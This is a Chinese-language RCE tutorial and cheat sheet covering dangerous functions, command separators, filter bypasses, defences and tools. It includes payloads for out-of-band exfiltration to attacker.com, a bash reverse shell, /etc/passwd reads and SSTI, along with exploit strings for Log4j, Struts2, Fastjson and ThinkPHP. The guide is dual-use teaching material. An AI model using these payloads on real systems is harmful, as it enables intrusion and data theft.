远程命令与代码执行总结
字数 1304 2025-08-15 21:33:34

远程命令与代码执行(RCE)全面指南

一、漏洞概述

1.1 RCE定义

RCE(Remote Command/Code Execute)代表两种漏洞:

  • 远程命令执行:攻击者注入的payload作为操作系统命令执行
  • 远程代码执行:攻击者注入的payload作为应用程序代码执行

1.2 漏洞成因

  • 命令注入:当Web应用代码包含操作系统调用且调用中使用了未过滤的用户输入
  • 代码注入:应用程序将用户输入作为代码的一部分执行(如eval、反序列化等)

二、危险函数列表

2.1 PHP危险函数

代码执行函数:

eval()          // 把字符串作为PHP代码执行
assert()        // 检查断言是否为FALSE,可执行代码
preg_replace()  // 执行正则表达式的搜索和替换(带e修饰符时)
call_user_func()// 把第一个参数作为回调函数调用
call_user_func_array()
array_map()     // 为数组的每个元素应用回调函数
动态函数$a($b)  // PHP支持直接拼接方式调用函数

命令执行函数:

system()        // 执行外部程序并显示输出
exec()          // 执行外部程序
shell_exec()    // 通过shell执行命令并返回完整输出
passthru()      // 执行外部程序并显示原始输出
pcntl_exec()    // 在当前进程空间执行指定程序
popen()         // 打开进程文件指针
proc_open()     // 执行命令并打开输入/输出文件指针

2.2 Java危险方法

Runtime.getRuntime().exec(command)  // 执行系统命令
ProcessBuilder(cmdArray).start()    // 启动进程执行命令
Method.invoke()                     // 通过反射调用方法

2.3 Python危险函数

代码执行:

exec(string)        # 动态执行Python代码
eval(string)        # 返回表达式或代码对象的值
execfile(string)    # 从文件读取和执行Python脚本(Python3已移除)
input(string)       # Python2.x中相当于eval(raw_input(prompt))
compile(string)     # 将源字符串编译为可执行对象

命令执行:

os.system()         # 执行系统指令
os.popen()          # 打开管道执行命令
subprocess.call()   # 执行参数提供的命令
os.spawn()          # 执行命令

三、漏洞检测方法

3.1 黑盒测试

  • 测试所有输入点:文本字段、列表框、单选按钮、复选框、cookies、HTTP头、POST数据等
  • 寻找所有输入流:来自用户浏览器、CLI或上游进程的输入

3.2 白盒测试

  • 审计代码中危险函数的使用
  • 检查用户输入是否直接传递给危险函数
  • 使用自动化工具扫描

四、常见利用技术

4.1 命令注入利用

Linux命令分隔符:

;    // 顺序执行
|    // 管道符,显示后面命令的执行结果
||   // 前面出错时执行后面的
%0A  // URL编码的换行符
\n   // 换行符

Windows命令分隔符:

&    // 前面的语句为假则直接执行后面的
&&   // 前面的语句为假则直接出错
|    // 直接执行后面的语句
||   // 前面出错执行后面的

无回显利用技巧:

  1. 延时检测

    ping -c 10 127.0.0.1  # 通过响应时间判断
    
  2. 重定向输出

    whoami > /var/www/static/result.txt
    
  3. DNS外带

    curl `whoami`.attacker.com
    
  4. HTTP请求

    curl http://attacker.com/$(whoami)
    
  5. 反弹shell

    bash -i >& /dev/tcp/attacker_ip/port 0>&1
    

4.2 代码注入利用

PHP动态函数调用:

$a = "system";
$b = "ls";
$a($b);  // 等同于system("ls")

PHP反序列化:

通过反序列化恶意构造的对象触发代码执行,常见于:

  • PHP对象注入
  • Java反序列化(Apache Commons Collections等)
  • Python反序列化(pickle模块)

SSTI(服务端模板注入):

{{config.__class__.__init__.__globals__['os'].system('whoami')}}

五、绕过技术

5.1 命令注入绕过

黑名单绕过:

  1. 拼接

    a=c;b=at;c=flag;$a$b $c
    
  2. Base64编码

    echo "Y2F0IGZsYWc=" | base64 -d | bash
    
  3. 引号绕过

    c""at fl''ag
    
  4. 反斜线

    c\at fl\ag
    
  5. 通配符

    /???/c?t /???/p?ss??
    
  6. 环境变量

    ${PATH:0:1}  # 提取/字符
    

空格绕过:

cat</etc/passwd
{cat,/etc/passwd}
cat$IFS/etc/passwd
X=$'cat\x20/etc/passwd'&&$X

5.2 代码注入绕过

PHP变量函数:

$f = 'sy'.'stem';
$f('whoami');

十六进制编码:

$f = "\x73\x79\x73\x74\x65\x6d"; // system
$f('whoami');

字符串截取:

$_="ABDEGKMSY";$__=$_[7].$_[1].$_[3];$__($_[5]); // $_=SYSTEM("E")

注释绕过:

syst/*xyz*/em('whoami');

六、防御措施

  1. 输入验证

    • 严格验证所有外部输入
    • 使用白名单而非黑名单
  2. 安全函数

    • 使用安全的替代函数(如escapeshellarg())
    • 禁用危险函数(如eval、system等)
  3. 最小权限

    • Web服务器以低权限用户运行
    • 限制文件系统访问权限
  4. 沙箱环境

    • 在受限环境中执行外部命令
    • 使用容器化技术隔离
  5. 安全编码

    • 避免直接拼接用户输入到命令/代码中
    • 使用参数化查询或安全API
  6. WAF防护

    • 部署Web应用防火墙拦截攻击尝试
    • 监控异常命令执行行为

七、工具推荐

  1. Commix

    python commix.py -u "http://target.com/vuln.php?input=INJECT_HERE"
    

    功能:自动化检测和利用命令注入漏洞

  2. Burp Suite

    • Intruder模块用于模糊测试
    • Repeater模块用于手动测试
  3. OWASP ZAP

    • 自动化扫描RCE漏洞
    • 手动测试工具
  4. Metasploit

    use exploit/multi/handler
    set payload linux/x86/shell_reverse_tcp
    

    用于反弹shell利用

八、真实案例

  1. Apache Struts2 RCE

    %{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)...}
    
  2. Log4j RCE (CVE-2021-44228)

    ${jndi:ldap://attacker.com/exploit}
    
  3. Fastjson RCE

    {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://attacker.com/exp"}
    
  4. ThinkPHP RCE

    /index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
    

通过理解这些技术和案例,安全人员可以更好地防御RCE漏洞,而渗透测试人员可以更有效地发现和利用这些漏洞。

远程命令与代码执行(RCE)全面指南 一、漏洞概述 1.1 RCE定义 RCE(Remote Command/Code Execute)代表两种漏洞: 远程命令执行 :攻击者注入的payload作为操作系统命令执行 远程代码执行 :攻击者注入的payload作为应用程序代码执行 1.2 漏洞成因 命令注入 :当Web应用代码包含操作系统调用且调用中使用了未过滤的用户输入 代码注入 :应用程序将用户输入作为代码的一部分执行(如eval、反序列化等) 二、危险函数列表 2.1 PHP危险函数 代码执行函数: 命令执行函数: 2.2 Java危险方法 2.3 Python危险函数 代码执行: 命令执行: 三、漏洞检测方法 3.1 黑盒测试 测试所有输入点:文本字段、列表框、单选按钮、复选框、cookies、HTTP头、POST数据等 寻找所有输入流:来自用户浏览器、CLI或上游进程的输入 3.2 白盒测试 审计代码中危险函数的使用 检查用户输入是否直接传递给危险函数 使用自动化工具扫描 四、常见利用技术 4.1 命令注入利用 Linux命令分隔符: Windows命令分隔符: 无回显利用技巧: 延时检测 : 重定向输出 : DNS外带 : HTTP请求 : 反弹shell : 4.2 代码注入利用 PHP动态函数调用: PHP反序列化: 通过反序列化恶意构造的对象触发代码执行,常见于: PHP对象注入 Java反序列化(Apache Commons Collections等) Python反序列化(pickle模块) SSTI(服务端模板注入): 五、绕过技术 5.1 命令注入绕过 黑名单绕过: 拼接 : Base64编码 : 引号绕过 : 反斜线 : 通配符 : 环境变量 : 空格绕过: 5.2 代码注入绕过 PHP变量函数: 十六进制编码: 字符串截取: 注释绕过: 六、防御措施 输入验证 : 严格验证所有外部输入 使用白名单而非黑名单 安全函数 : 使用安全的替代函数(如escapeshellarg()) 禁用危险函数(如eval、system等) 最小权限 : Web服务器以低权限用户运行 限制文件系统访问权限 沙箱环境 : 在受限环境中执行外部命令 使用容器化技术隔离 安全编码 : 避免直接拼接用户输入到命令/代码中 使用参数化查询或安全API WAF防护 : 部署Web应用防火墙拦截攻击尝试 监控异常命令执行行为 七、工具推荐 Commix : 功能:自动化检测和利用命令注入漏洞 Burp Suite : Intruder模块用于模糊测试 Repeater模块用于手动测试 OWASP ZAP : 自动化扫描RCE漏洞 手动测试工具 Metasploit : 用于反弹shell利用 八、真实案例 Apache Struts2 RCE : Log4j RCE (CVE-2021-44228) : Fastjson RCE : ThinkPHP RCE : 通过理解这些技术和案例,安全人员可以更好地防御RCE漏洞,而渗透测试人员可以更有效地发现和利用这些漏洞。